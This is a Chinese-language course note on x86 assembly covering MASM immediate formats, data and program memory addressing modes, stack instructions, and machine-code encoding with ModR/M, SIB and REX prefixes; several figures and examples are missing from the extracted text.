十六进制立即数以字母
H结尾。例如: -
注意:在 MASM 里,所有十六进制数字必须以数字(0-9)开头,否则会被识别为标签名。如果十六进制数以字母开头,需要补零。例如:
-
十进制数字可以直接写,无需附加符号:
-
二进制数字后加字母
B来表示(部分汇编器用Y结尾): -
立即数也可以用 ASCII 字符表示,用英文单引号
'...'包裹。例如:注意,必须使用英文单引号
',不要混用中文引号或其他字符。
Warning
ASCII 字符会以反序(如 BA)进行存储,因此在使用成对字符作为字(word)时要注意顺序
这是因为字符没有权重A先出现,所以先把A放到低地址,然后是B
Memory Addressing¶
也是data addressing modes
除了通过寄存器或指令直接操作操作数外,操作数也可以存储在任意内存位置。当操作数位于内存中时,"寻址方式"(addressing mode)用于确定如何结合寄存器和/或指令内的常量,计算出该操作数在内存中的有效地址effective address, EA)。
call back:一般来说,有效地址是相对于段基址(segment base address)的偏移(offset)。
有效地址可以灵活组合以下4类参数:
- 基址寄存器(Base Register)
- 变址寄存器(Index Register)
- 比例因子(Scale)(部分平台,如x86支持变址乘比例因子)
- 指令中提供的偏移量(Displacement)
这种灵活性产生了多种常见的寻址方式:
- 直接寻址 (Direct Data Addressing, Disp)
- 例如:
MOV AX, [1234H](直接使用指令内的偏移)
- 例如:
- 寄存器间接寻址 (Register Indirect, Base)
- 例如:
MOV AX, [BX](基址寄存器存放有效地址)
- 例如:
- 基址+变址寻址 (Base-Plus-Index, Base + Index)
- 例如:
MOV AX, [BX+SI]
- 例如:
- 寄存器相对寻址 (Register Relative, Base/Index + Disp)
- 例如:
MOV AX, [BX+10H]orMOV AX, [SI+8]
- 例如:
- 基址相对+变址寻址 (Base Relative-Plus-Index, Base + Index + Disp)
- 例如:
MOV AX, [BX+SI+4]
- 例如:
- 比例索引寻址 (Scaled-Index, Base + Scale×Index + Disp)(常用于32位/64位平台)
- 例如:
MOV EAX, [EBX + ESI*4 + 8]
- 例如:
Direct Data Addressing¶
直接数据寻址有两种基本形式:
- 直接寻址(Direct Addressing)
适用于在MOV指令中,在AL(8位)、AX(16位)、或者EAX(32位)与内存位置间传输数据。(三个要素,MOV,A类寄存器,只用偏移量),指令长度为3字节。 - 带偏移寻址(Displacement Addressing)
几乎适用于所有指令,用于在有效地址中增加额外的偏移量。(除了Direct Addressing 之外的 Direct Data Addressing),指令长度为4字节。
假设需要从数据段(data segment)内存位置 DATA(偏移量1234H)加载AL寄存器:
说明:DATA 是符号标签(label),1234H 是实际的16进制物理偏移
MOV AL, [1234H]指令在 DS=1000H 时的操作
-
线性地址 = 段基址(1000H)× 16 + 偏移(1234H)
\(1000_H \ll 4 + 1234_H = 10000_H + 1234_H = 11234_H\) -
指令实现:将 11234H 内存单元的数据复制到 AL
- 线性地址由偏移(1234H)加上数据段基址(1000H×10H)获得(实模式下)
以下均是 Direct addressed instructions
与直接寻址相比,带偏移寻址(Displacement Addressing)的区别在于指令长度为4字节,而直接寻址为3字节。
下图是常见的一些带偏移寻址的指令
- 直接寻址:
- 带偏移寻址:
在80386到奔腾4等处理器中,若使用32位寄存器和32位偏移量,该类指令(displacement addressing)的长度可达7字节。
带偏移寻址比直接寻址更加灵活,大多数指令都支持这种寻址方式。
Question
判断以下指令是直接寻址还是带偏移寻址:
Why Direct Addressing
兼容性与编码效率
- “直接寻址(Direct Addressing)”模式起源于8086/8088处理器。在早期,代码字节数(代码密度)和指令执行速度极为关键。
- 编码优化:对 AL/AX/EAX 累加器进行 MOV AL/AX/EAX, [address] 是非常常见的操作。因此,Intel 专门为这种操作设计了更短且更快的指令编码。
累加器(AX/EAX)的特殊地位
- 在 x86 架构中,AL/AX/EAX 寄存器被设计为“累加器”。有许多指令就是专门针对累加器做了优化,例如:
- IN/OUT 输入输出指令
- MUL/DIV 乘法/除法指令
- 字符串操作指令(如 LODS、STOS)都隐式使用累加器
因此,为最关键的寄存器及其最常用操作(和内存之间交换数据)提供一个“加速通道”是合理的。
编译器使用直接数据寻址模式来访问那些在编译时就能确定的静态地址(如全局变量)。例如:
Register Indirect Addressing¶
关于寄存器间接寻址(Indirect Addressing):
- 在 8086 到 80286 处理器中,间接寻址只允许使用 BX、BP、SI 和 DI 这四个寄存器,例如:
- 从 80386 开始,可以使用任意扩展寄存器作为地址寄存器,例如:
- 在 64 位模式下,段寄存器不再参与地址计算。
当 BX = 1000H 且 DS = 0100H 时,MOV AX, [BX] 指令的执行过程。请注意,此时 AX 寄存器已经从内存中获取相应的数据。
以下是常见的一些寄存器间接寻址的指令
注意,string operation之外的memory-to-memory transfer都是非法的。所以上表的MOV [DI] [BX]
默认情况下,数据段(data segment)用于寄存器间接寻址或任何使用 BX、DI 或 SI 作为地址寄存器的寻址方式。
- 如果 BP 寄存器用于寻址,则默认使用堆栈段(stack segment)。
- 这四个基址和变址寄存器的上述设置被视为默认值。
- 对于 80386 及以上处理器:
- EBP 寄存器默认在堆栈段中寻址内存。
- EAX、EBX、ECX、EDX、EDI 和 ESI 默认在数据段中寻址内存。
- 在实模式(real mode)下,使用 32 位寄存器间接寻址时,寄存器内容不能超过 \(0000FFFF_H\)
- 在保护模式(protected mode)下,32 位寄存器用于间接寻址时可使用任意值,只要不越界访问段范围(由访问权限字节限制)。
- 在 64 位模式下,段寄存器不再参与地址计算;寄存器中存放的就是实际的线性内存地址。
Size Directives¶
通常,指令本身能推断出对内存访问的数据大小。例如:
MOV [DI], AL是一个字节(byte)操作,因为 AL 寄存器为 8 位。MOV [DI], 10H则不明确是字节还是字(word)操作——因为立即数本身没有指定大小。
在某些间接寻址场景下,必须显式指定数据大小。这时要使用 size directive(大小前缀),如 BYTE PTR、WORD PTR、DWORD PTR 或 QWORD PTR。这些前缀指明被指针或寄存器寻址的内存数据大小。例如:
MOV BYTE PTR [DI], 10H
明确表示 [DI] 地址处是 1 字节空间。MOV DWORD PTR [DI], 10H
明确表示 [DI] 地址处是 4 字节(双字,doubleword)空间。
这些大小指令(例如 BYTE PTR、WORD PTR)主要用于通过寄存器间接寻址并赋立即数给内存时,或指令本身从语法无法推断出操作数大小时。
对于 SIMD 指令,还使用 OWORD PTR,代表 128 位(16 字节)宽度的数据操作。
Example: How do size directives influence instruction encoding?
In 64-bit mode:
Instruction Machine Code Note MOV [RAX], 5Error ambiguous operand size for MOVMOV BYTE PTR [RAX], 5C6 00 05opcode + operand MOV WORD PTR [RAX], 566 C7 00 05 00operand prefix + opcode + operand MOV DWORD PTR [RAX], 5C7 00 05 00 00 00opcode + operand MOV QWORD PTR [RAX], 548 C7 00 05 00 00 00prefix for x86-64 + opcode + operand
寄存器间接寻址通常允许程序引用存放在内存中的表格数据。
- 上图展示了一个表格,以及用 BX 寄存器顺序访问表格中每个位置的方法。
- 为了完成这个任务,首先用 MOV 立即数指令将表格的起始地址加载到 BX 寄存器中。
- 初始化表格起始地址后,使用寄存器间接寻址方式即可顺序存储这 50 个样本数据。
Base-Plus-Index Addressing¶
-
在 8086 到 80286 处理器中,这种寻址方式使用一个Base register(BP 或 BX)和一个Index register(DI 或 SI)来间接访问内存,例如:
MOV DX, [BX + DI]。 -
在 80386 及以上处理器中,允许任意两个 32 位寄存器组合(但 ESP 不能作为index寄存器),例如:
MOV DL, [EAX+EBX]。
An example showing how the base-plus-index addressing mode functions
for the MOV DX, [BX + DI] instruction. Notice that memory address 02010H is accessed because DS=0100H, BX=1000H and DI=0010H.
下图展示了一些常见的基址加变址寻址的指令
基址加变址寻址方式的一个主要用途是访问内存数组中的各个元素。 - 要实现这一点,可以将数组的起始地址加载到 BX 寄存器(基址寄存器)中,并将要访问的元素序号加载到 DI 寄存器(变址寄存器)中。 - 下图展示了如何利用 BX 和 DI 访问数据数组中的某个元素。
此处,通过 BX(ARRAY)和 DI(元素索引)访问数组中的某一元素。
Info
The compiler uses base-plus-index addressing mode to access an one-dimensional array.
Register Relative Addressing¶
Base/Index + Disp
- 在 8086~80286 处理器中,寄存器相对寻址是把一个“偏移量”(displacement,立即数)加到一个基址寄存器(BX 或 BP)或变址寄存器(SI 或 DI)上,得到有效地址。例如:
- 在 80386 及以上处理器中,偏移量可以是 32 位,地址寄存器可以是任意 32 位通用寄存器(但 ESP 不能作变址寄存器)。例如:
这种寻址方式本质上与“基址变址寻址”和“带偏移寻址”类似。它是通过“基址/变址寄存器 + 偏移量”组合出一个存储单元的地址。
- 如下图所示,MOV AX, [BX+1000H] 指令的执行过程:将 BX 的内容与偏移量 1000H 相加,计算出内存地址,再访问对应内存单元。
- 说明:实模式(real mode)下的一个段最多 64K 字节。
下图是常见的一些寄存器相对寻址的指令
Info
编译器在访问结构体时,使用寄存器相对寻址方式:
- 基址寄存器中保存结构体的起始地址,
- 偏移量为结构体成员的偏移地址。
Base Relative Plus Index Addressing¶
Base + Index + Disp
- 此寻址方式与Base+Index寻址类似,
- 不同之处在于它还增加了一个位移量(displacement)
- 使用一个Base寄存器和一个Index寄存器共同生成内存地址
- 这种寻址方式通常用于访问二维数组等内存数据结构。
- 这是最不常用的寻址方式之一。
- 下图展示了在微处理器执行指令
MOV AX, [BX + SI + 100H]时,数据是如何被引用的。- 其中的 100H 位移会加到 BX 和 SI 上,形成数据段内的偏移地址
由于这种寻址方式较为复杂,实际编程中很少使用。
Info
The compiler uses base relative-plus-index addressing mode to access structure within an array, for example:
这里i×16是因为一个foo结构体里面有4个int,所以是16字节。要访问数组里第i个元素,需要偏移i*16字节。在最后+12则是要访问d需要跨过前面a,b,c三个int。
Scaled Index Addressing¶
仅在 80386 到 Core2 微处理器中独有的寻址方式。
- 使用两个 32 位寄存器(基址寄存器和变址寄存器)来访问内存。
- 第二个寄存器(变址寄存器)会乘以一个缩放因子(scaling factor)。
- 缩放因子可以是 1x、2x、4x、8x。
- 缩放因子为 1x 时可省略不写,例如:
MOV AL, [EBX + ECX]此时退化成Base+Index寻址。 - 位移(Displacement)是可选的,主要看Scale。
以下是常见的一些缩放索引寻址的指令
Info
可以将i的值通过配合scale来节省一条单独的指令。
这里edx*8是因为一个foo结构体里面有2个int,所以是8字节。要访问数组里第i个元素,需要偏移i*8字节。在最后+4则是要访问b需要跨过前面a一个int。
RIP Relative Addressing¶
传统x86只在控制转移指令中支持IP(指令指针)相对寻址。
- 而在64位模式下,支持以64位指令指针(RIP)为基准的数据寻址,可以在flat内存模型下定位线性地址。
- RIP相对寻址的写法和寄存器相对寻址类似,采用 [Base + Displacement]的语法,不过Base是RIP,而不是通用寄存器。
- RIP相对寻址使用一个有符号32位位移(displacement),将其符号扩展后加到64位的RIP上,从而计算下一条指令的有效地址。
- 采用RIP相对寻址使得位置无关代码(Position-Independent Code, PIC)更加简洁和紧凑,只要所有代码和数据都能由32位偏移访问即可。
Example
var[rip]表示以当前指令位置为基准,偏移多少字节去找变量var
Canonical Addressing and Canonical Form¶
- 在 x86-64 系统中,线性地址(虚拟地址)在逻辑上是 64 位长。设计 x86-64 架构时,AMD 认为完整的 64 位地址空间过于庞大且实现成本很高。
-
因此,AMD 只定义了 48 位(4 级分页)或 57 位(5 级分页)的有效地址空间,并且这些地址必须遵守特定的规范地址规则。例如:
- 48 位:
7C00 1810 2000→ 64 位:0000 7C00 1810 2000 - 48 位:
8010 BC00 1000→ 64 位:FFFF 8010 BC00 1000
- 48 位:
-
在 64 位模式下,如果一个地址的第 63 位到最高有效位全为 0 或全为 1,则认为该地址为规范地址(canonical form)。
-
对于 48 位线性地址,规范地址要求 63~48 位要么全为 0,要么全为 1(具体取决于第 47 位是 0 还是 1):
- 规范地址:
FFFF 8010 BC00 1000,0000 7C80 B810 2040 - 非规范地址:
1122 3344 5566 7788,3375 DA44 B566 7788
- 规范地址:
-
如果内存地址不是规范形式(non-canonical),就会产生通用保护异常(#GP),例如:
MOV RAX, [1122334455667788H]。 -
通过检查地址的规范形式,架构防止软件利用指针高位的未用部分做其他用途。
-
遵循规范地址格式的软件能在未来支持更大虚拟地址空间的长模式实现上无须修改即可运行。
Summary
8086-80286:
- Base: BX/BP
- Index: SI/DI
- Disp: 8位或16位
80386及以上:
- Base:任意32位寄存器
- Index:任意32位寄存器(除了ESP不能做变址寄存器)
- Disp:8位/16位/32位
当存在Index时,可使用比例因子(scale factor),其取值为1、2、4、8。
当使用BP/EBP或ESP寄存器作为基址时,默认的段寄存器是SS;其他情况默认使用DS段寄存器。注意ESP不能作为index寄存器
Program Memory Addressing Modes¶
用于JMP(跳转)和CALL(调用)指令。
- 目标操作数(目标地址)指定要跳转到的指令的地址。
- 跳转偏移有两种类型:
- 相对偏移(relative offset)(依赖于当前的IP/EIP:
相对偏移一般在汇编代码中以标签方式指定(如 JMP start),但在机器码层面,它会被编码为一个有符号位移量,相对于当前指令指针IP/EIP的值。
Target address offset = Current IP/EIP + Relative offset - 绝对偏移(absolute offset):绝对偏移通常间接地存储在通用寄存器或某个存储单元中(如 JMP AX)。绝对偏移指的是从代码段基址起的偏移量。
Target address offset = Value specified in the encoding
- 相对偏移(relative offset)(依赖于当前的IP/EIP:
相对偏移一般在汇编代码中以标签方式指定(如 JMP start),但在机器码层面,它会被编码为一个有符号位移量,相对于当前指令指针IP/EIP的值。
-
跳转类型有四种(Four different types of jumps):
-
短跳转(short jump):一种近跳(near jump),跳转范围被限定在当前 EIP 值的
-128到+127之间。 -
近跳转(near jump):跳转到当前代码段(由
CS寄存器指向)内部的指令,又称为段内跳转(intrasegment jump)。 -
远跳转(far jump):跳转到与当前代码段不同但特权级相同的另一个段中的指令,又称段间跳转(intersegment jump)。
-
任务切换(task switch):仅在保护模式下,将控制权转移到另一个任务(task)的指令中。
-
Note
relative是指相对于指令指针IP。
JMP指令本身为 1 字节长度,但其后可以跟随 1 字节或 2 字节的位移,该位移的数值会加到指令指针IP上。- 1 字节位移用于短跳转(short jump),2 字节位移用于近跳转(near jump)和调用(call)指令。这两种跳转都属于段内跳转(intrasegment jumps)。
Direct Program Memory Addressing¶
采用Direct Program Memory Addressing的指令,会在操作码opcode中存储一个绝对的远地址,例如:JMP 1234:5678。
-
这类指令通常被称为"远跳转(far jump)",因为它可以跳转到任意内存地址以执行下一条指令。
- 在实模式下,可以跳转到前1MB(1兆字节)范围内的任意位置。
- 在保护模式下(80386到Core2系列处理器),远跳转可以跳转到4GB(4G字节)地址空间内的任意位置。
-
微处理器常用该寻址形式来进行操作模式切换(operating modes control transfers)。
-
用于直接程序寻址的典型指令是段间调用(intersegment 或 far CALL)指令。
-
在实际编程时,通常使用内存地址的名称(即标签,label)来表示被调用或跳转的位置,而不是直接使用具体的数值地址。
-
我们可以使用
FAR PTR关键字实现远跳转,例如:JMP FAR PTR START
Indirect Program Memory Addressing¶
微处理器支持多种程序间接寻址(indirect program memory addressing)的形式。
- 在8086到80286处理器中,这种寻址方式可以使用16位寄存器(AX, BX, CX, DX, SP, BP, DI或SI),
或者使用任意相对寄存器([BP]、[BX]、[DI]、[SI]),加上一个位移量。例如:
JMP NEAR PTR [DI+2]。 -
在80386及以后的处理器中,可以使用扩展寄存器(如EAX)存储要跳转或调用(CALL)的地址或间接地址,例如:
JMP EAX。 -
如果一个相对寄存器中存储了跳转地址,就称为间接跳转(indirect jump)。
- 例如,
JMP NEAR PTR [BX]表示跳转到数据段(data segment)中,偏移地址由BX寄存器指定的内存位置。- 在这个偏移地址存储着一个16位数值,这个数值被作为段内跳转(intrasegment jump)的偏移地址。
- 这种跳转有时被称为“间接-间接跳转”或“双重间接跳转”(indirect-indirect 或 double-indirect jump)。
Summary
以上的诸多概念并不是互斥的,而是根据不同的维度进行分类
- 距离维度(跳转范围):Short / Near / Far / Task Switch)
- 计算维度(偏移量类型):地址怎么算出来的?(Relative / Absolute)
- 获取维度(寻址方式):地址存在哪里?(Direct / Indirect)
| 跳转类型 (Jump Type) | 偏移计算 (Offset) | 寻址方式 (Addressing) | 说明 |
|---|---|---|---|
| Short Jump | Relative | 立即数嵌入指令 (机器码层面) | 只能跳 ±127 字节,依赖当前 IP。 |
| Near Jump (常见) | Relative | 立即数嵌入指令 (机器码层面) | 代码写作 JMP Label,机器码是位移量,依赖 IP。 |
| Near Jump (间接) | Absolute | Indirect (寄存器/内存) | 代码写作 JMP AX 或 JMP [BX]。不依赖 IP,直接修改 IP。 |
| Far Jump (直接) | Absolute | Direct Program Memory Addressing | 代码写作 JMP 1234:5678。直接给出新的 CS 和 IP。 |
| Far Jump (间接) | Absolute | Indirect (内存) | 代码写作 JMP FAR PTR [BX]。从内存读出新的 CS 和 IP。 |
| Task Switch | N/A | 通常通过 Far Jump 触发 | 在保护模式下,跳到 TSS 描述符或其他任务门。 |
STACK MEMORY ADDRESSING MODES¶
PUSH/POP 指令是用于在栈内存中保存和恢复数据的基本指令。
-
PUSH 和 POP 指令共有六种常见用法:
- register: *寄存器寻址*可以将任意 16 位寄存器的内容压入或弹出栈。
- memory: 内存寻址,支持将 16 位或 32 位内存地址指定的数据压入栈,也可将栈顶数据弹出到指定内存位置。
- immediate: 立即数寻址,允许将常数值直接压入栈(仅 PUSH 不可 POP)。
- segment register: 段寄存器寻址,可将任意段寄存器内容压入栈,或从栈顶弹出数据到段寄存器。但注意,CS 只能通过 PUSH 保存,不能通过 POP 恢复。
- flags: 标志寄存器寻址,可以用 PUSHF/POPF 指令将标志寄存器内容压入或弹出。
- all registers: 所有寄存器,PUSHA/POPA 可以一次性保存或恢复所有通用寄存器。
-
在 80286 到 Core2 等处理器上,PUSH 和 POP 支持立即数操作,并提供了同时操作所有通用寄存器的 PUSHA/POPA 指令。
PUSH/POP 的栈操作机制:
- 数据通过 PUSH 指令压入栈顶,通过 POP 指令从栈顶弹出。
- 维护栈空间主要依赖于两个寄存器:
- 栈段寄存器(SS)
- 栈指针(SP 或 ESP)
- 每当一个字(word,16 位)压入栈时:
- 高 8 位存放于 [SP - 1] 地址
- 低 8 位存放于 [SP - 2] 地址
- SP 寄存器自动减少 2,为下一个数据腾出空间。
-
SP(或 ESP)始终指向当前栈段中的栈顶位置。
-
在保护模式(Protected Mode)下,SS 寄存器保存的是指向栈段基址描述符的选择子(selector)。
-
从栈中弹出数据时:
- POP 从 SP 当前指向的内存地址弹出低 8 位,再弹出高 8 位
- 完成后 SP 增加 2,指向新的栈顶
栈是从高地址向低地址生长的;
在上图中,要将1234Hpush到栈,首先12H会被push到栈,然后34H会被push到栈。此时栈顶指向34H,POP时,先弹出34H,然后弹出12H.栈顶指针恢复.
Initializing the stack¶
汇编语言中的堆栈段(stack segment)初始化
- 第一条语句标识堆栈段的开始
-
最后一条语句标识堆栈段的结束
-
汇编器和连接器会自动把正确的堆栈段(stack segment)地址加载到 SS 寄存器,并把堆栈段的长度(也就是堆栈的顶部地址)加载到 SP 寄存器。
-
如果未指定堆栈段,在链接程序时会出现警告。
-
堆栈内存区位于程序段前缀(PSP)当中,PSP 会被附加到每个程序文件的起始位置。如果你为堆栈分配了超过所需的内存,可能会覆盖(抹掉)PSP 中的信息,而这些信息对于你的程序甚至整个计算机的正常运行是非常关键的。此类错误通常会导致程序崩溃。
-
在初始化堆栈区域时,需要同时加载堆栈段寄存器(SS) 和 堆栈指针寄存器(SP)。
Info
x86 实模式编程中,如果想利用完整的 64KB 段空间作为堆栈,会故意将 SP 初始化为 0000。
这是因为 PUSH 指令的执行顺序是:先减后存。
-
初始状态:SP = 0000。
-
执行 PUSH:
-
第一步:SP = SP - 1。因为是 16 位循环计数,0000 - 1 会变成 FFFF。
-
第二步:将数据存入 SS:FFFF。然后继续SP-1,继续存完数据。
-
结果:数据被存放在了段的最高地址(最顶部)。
PUSH CX 指令展示了栈段的循环特性。
Push¶
PUSH 指令的作用是将数据压入栈中:
- 在 8086 到 80286 处理器中,每次 PUSH 传送 2 字节,不能只传送 1 字节。
- 在 80386 及更高版本的处理器中,可以传送 2、4 或 8 字节。
PUSHA(push all)指令
- PUSHA 指令会把内部通用寄存器(除了段寄存器)的内容全部依次压入栈中。
- 压栈顺序是:AX、CX、DX、BX、SP(原始值)、BP、SI、DI。
- 被压入栈中的 SP 值是压栈操作开始前的 SP 原始值。
PUSHAD(push all double)指令
- PUSHAD 是 80386 到 Pentium 4 处理器中用于压入 32 位寄存器组的指令。
- PUSHA 和 PUSHAD 共享同一个操作码(0x60):
- 操作数大小为 16 位时执行 PUSHA
- 操作数大小为 32 位时执行 PUSHAD
- 早期 8086/8088 处理器不支持该指令
- 64 位模式下的 Pentium 4 处理器也不支持
PUSHF(push flags)指令
- PUSHF 指令会将标志寄存器的内容压入栈中。
- PUSHA 指令会将所有 16 位通用寄存器压入栈中(共 8 个寄存器,需要 16 字节的栈空间)。
- 所有寄存器压栈后,SP 寄存器的值会减少 16。
- 当需要保存 80286 及以上处理器的全部寄存器时,PUSHA 很有用。
- PUSHAD 指令会在 80386 至 Core2 处理器上将全部 32 位寄存器压入栈中(需 32 字节栈空间)。
POP¶
POP 指令与 PUSH 相反,用于将数据从栈中弹出,并存入目标位置。
- POP:将栈顶数据移出,并放入指定的 16 位通用寄存器、段寄存器,或 16 位内存单元(不能直接将立即数 POP 出)。
- POPA(pop all):顺序从栈中弹出 16 字节数据,依次存入 DI、SI、BP、SP(会被丢弃)、BX、DX、CX 和 AX(顺序为 DI→SI→BP→SP→BX→DX→CX→AX)。
- POPAD(pop all double):在 80386 到 Pentium 4 处理器上,将 32 位寄存器组从栈顶依次弹出。
- POPA 和 POPAD 都使用相同的操作码(0x61):
- 操作数为 16 位时执行 POPA
- 操作数为 32 位时执行 POPAD
- 8086/8088 不支持此指令,Pentium 4 的 64 位模式下也不支持。
- POPA 和 POPAD 都使用相同的操作码(0x61):
- POPF(pop flags):将栈顶 16 位数据弹出,并写入标志寄存器。
Data Movement Instructions¶
约 12263 个字 245 行代码 50 张图片 预计阅读时间 45 分钟
Mode and Opcode¶
Machine Language¶
- 微处理器使用本地二进制代码作为指令来控制运作。
- 指令长度从 1 字节到 15 字节不等。
- 机器语言指令有超过 10 万种变体。
- 没有一份完整的变体列表。
- 机器语言指令的一些位是固定的,剩下的位则根据指令的具体变体而定。
Operation Mode¶
- 操作有三种模式,其默认地址和操作数长度如下:
- 16 位模式(实模式、vm86、保护模式):默认地址和操作数长度为 16 位
- 32 位保护模式(保护模式):默认地址和操作数长度为 32 位
- 64 位模式:默认地址长度为 64 位,默认操作数长度为 32 位
Processor Directives¶
在 MASM 中,处理器指令(Processor directive)是一种伪指令,用于告诉汇编器在汇编过程中应启用哪些指令集、处理器类型以及相应的特性。它决定了以下内容:
- 哪些 CPU 指令是有效的
- 默认的操作数和地址长度(16 位 或 32 位)
- 可用的寄存器和寻址方式
- 允许的语法
MASM 中的处理器指令包括:
- 16 位:.8086,.186,.286
- 32 位:.386,.486,.586,.686
- 浮点:.8087,.287,.387
- 特殊用途:.MMX,.XMM
Example
.286 告诉汇编器使用 16 位模式。 .MODEL small 告诉汇编器使用 small 模型。1 .CODE 告诉汇编器开始代码段。 mov AX, @data 将 @data 段地址加载到 AX 寄存器。 mov DS, AX 将 DS 寄存器设置为 AX 寄存器的值。 mov AH, 9 将 AH 寄存器设置为 9。 int 21H 调用 DOS 中断 21H。.386 告诉汇编器使用 32 位模式。 .MODEL flat, stdcall 告诉汇编器使用 flat 模型和 stdcall 调用约定2。 .CODE 告诉汇编器开始代码段。 mov EAX, [EBX] 将 EBX 寄存器中的值加载到 EAX 寄存器。 add EAX, ECX 将 ECX 寄存器中的值加载到 EAX 寄存器。 ret 返回。
Processor directive的作用:
- 检查指令的合法性,例如,在 .286 模式下,
- 根据默认操作数/地址大小,生成正确的指令编码,例如:
Info
操作数大小前缀 66H 用于切换指令的操作数位宽(比如在 32 位模式下使用 16 位操作数,或反之)。
地址大小前缀 67H 用于切换内存操作数的默认寻址位宽(比如在 32 位模式下使用 16 位地址寻址)。
在代码段描述符中,D/B-bit 和 L-bit 指示操作模式:
- L=0 and D/B =0 表示 16-位指令模式
- L=0 and D/B =1 表示 32-位指令模式
- L=1 表示 64-位指令模式
Instruction Store in Memory
指令在内存中以小端序(little-endian)格式存储。指令的第一个字节位于最低的内存地址。
- 由于指令本质上是字节串,因此它们可以从任意内存地址开始存放。
- 指令的总长度必须小于或等于15字节。如果超过该限制,将会触发通用保护异常(general-protection exception)。
Opcode Byte 1¶
Opcode 字节决定了微处理器要执行的操作(如加法、减法等)。对于大多数指令来说,Opcode 字节长度为1或2字节。下图展示了很多指令的第一个操作码字节的一般结构:
- 第一字节的前6位为二进制操作码(opcode),
- 剩余2位分别用于表示方向位(D)和数据大小位(W):
- 方向位D,用于确定数据流的方向;
- 数据大小位W,用于指示数据长度(字节或字/双字)。
- 若D=1, 数据流向寄存器(REG 字段)来自R/M字段;
- 若D=0, 数据流向R/M字段来自寄存器(REG 字段)。
- MOV R/M, REG(D=0)表示从寄存器向R/M存储单元移动数据。
- MOV REG, R/M(D=1)表示从R/M存储单元向寄存器移动数据.
- 这样表示两条指令只需要修改D位即可
Note
记忆方式也很简单,D=1,代表in,从R/M字段到REG字段;D=0,代表out,从REG字段到R/M字段。
- 若W=1,数据大小为字(16位)或双字(32位)。
- 若W=0,数据大小为字节(8位)。
- 在大多数指令中都存在W位,D位则主要出现在MOV及少数其他指令中。
W用于在字节和默认数据之间切换,66H和67H用于在默认数据和非默认数据之间切换。
Why Direction Bit?
既然汇编语法(如 MOV AX, BX)已经区分了源操作数和目标操作数,并且明确了数据流的方向,为什么 MOD-REG-R/M 字节不直接把目标操作数编码到 “REG” 字段,把源操作数编码到 “R/M” 字段呢?
-
在 MOD-REG-R/M 字节中,如果将目标和源操作数的位置固定下来进行编码,那么在两者都使用寄存器寻址时,这种做法很有效。但一旦涉及到内存寻址,情况就变得复杂。在 ModR/M 字节的设计中,只有 R/M 字段(配合 Mod 位)才有能力描述复杂的内存寻址方式(比如 [BX+SI+DISP] 这种)。REG 字段 只能表示纯寄存器。而内存既可以作为目标,也可以作为源,因此需要一个方向位来区分。
-
基于一条指令最多只会有一个操作数使用内存寻址这个事实,Intel 设计了方向位(D 位),用来指示数据是流入 R/M(作为目的地),还是流出 R/M(作为源)。这种设计方案更高效也更优雅。
-
在 RISC 架构(如 RISC-V、ARM)中,由于其并不支持多种复杂的寻址方式,指令格式中的源和目的操作数位置都是固定的。因此,数据流方向其实已经由操作数字段在指令中的位置自然确定了,无需再单独加方向位。
MOD-REG-R/M Field-Byte 2¶
MOD Field¶
MOD 字段用于指定所选指令的寻址方式(MOD,寻址模式)。
-
MOD 字段决定了使用哪种类型的寻址方式,以及在该类型下是否包含位移量(displacement)。
-
MOD 字段具体定义了寻址方式(MOD),并指定所选类型下是否包含位移。
- 如果 MOD 字段为 11(二进制),则选择寄存器寻址模式(register addressing mode).寄存器寻址是指使用 R/M 字段指定的寄存器作为操作数,而不是内存位置。
- 如果 MOD 字段为 00、01 或 10,则 R/M 字段选择多种数据内存寻址方式。
REG/Opcode Field¶
REG/Opcode 字段既可以指定一个寄存器编号,也可以作为额外的 3 位操作码(opcode)信息。
R/M Field¶
R/M 字段既可以指定一个寄存器作为操作数,也可以结合 MOD 字段共同编码一种寻址模式。 - 当 MOD 字段为 00、01 或 10 时,R/M 字段将有新的含义,用来表示多种不同的寻址方式。
该图展示了指令 MOV DL,[DI](机器码为 8A15H)的编码方式:
该指令共 2 字节,包含 op-code 100010,D=1(数据从 R/M 流向 REG/Opcode),W=0(字节操作),MOD=00(无displacement),REG/Opcode=010(DL),R/M=101([DI])。
如果指令变为 8A5501H,指令的第一个字节保持不变,MOD 字段变为 01(表示有 8 位位移),整条指令变为 MOV DL, [DI+1]
最后在末尾多了一个displacement字段,用于存储位移量。
32-Bit Addressing Modes¶
当 R/M=100 时,指令中会额外出现一个称为scaled-index byte的字节,用于指示更多种类的缩放索引寻址方式。
仅在 80386 到 Core2 微处理器中,MOV 指令的变体就超过了 32,000 种。 下图展示了当 80386 及以上处理器在使用 32 位地址时,R/M 字段取值为 100 时所选择的 scaled-index 字节的格式。
最左侧的 2 位用于选择缩放因子(乘数),其取值可以为 1x、2x、4x 或 8x。 缩放索引寻址同样允许对单一寄存器应用缩放因子进行乘法运算。
例如
编码为 8B048BH
- First byte (8BH):100010 11 → D = 1
- Second byte (04H): 00 000 100 → Mod=00,没有disp,REG=000 代表EAX,R/M=100 scaled-index 寻址.
- Third byte (8BH): 10 001 011 → SS=10,表示4倍缩放,Index=001 代表ECX,Base=101 代表EBX
64 Bit Mode¶
在64位模式下,引入了一个称为REX(寄存器扩展)的前缀,用于扩展操作数大小以及支持R8-R15等新寄存器的使用。
- REX并不是一个唯一的数值,而是一个范围(40h 到 4Fh),位于其他前缀之后、操作码之前。
- REX的作用是修改指令第二字节中的reg和r/m字段。
- 通过REX前缀可以访问R8-R15等扩展寄存器。
REX 前缀包含五个字段。高半字节用于唯一标识 REX 前缀。低半字节被分为四个位(W、R、X 和 B),每个位各占一位。
| 位 (Bit) | 字段名称 | 含义 (Meaning) | 关联结构 (Extension Target) | 功能描述 & 通俗解释 |
|---|---|---|---|---|
| 3 | REX.W | W idth (操作数宽度) |
操作数大小属性 | 0: 默认大小(通常 32 位,如 EAX)1: 强制 64 位 大小(如 RAX) |
| 2 | REX.R | R egister (寄存器扩展) |
ModR/M 字节中的reg 字段 |
Reg 字段扩展位 (MSB) 将原有的 3 位 reg 扩展为 4 位,允许在通用寄存器位置使用 R8-R15。 |
| 1 | REX.X | Inde X (索引扩展) |
SIB 字节中的index 字段 |
Index 字段扩展位 (MSB) 用于复杂内存寻址(如数组索引)。允许使用 R8-R15 作为索引寄存器。 |
| 0 | REX.B | B ase (基址扩展) |
ModR/M 字节中的 r/m或 SIB 字节中的 base |
Base/RM 字段扩展位 (MSB) 允许使用 R8-R15 作为: 1. 寻址的基地址 (Base Address) 2. r/m 指定的源/目的操作数 |
接下来通过两个指令查看REX的效果:
编码为 4D 89 FA H
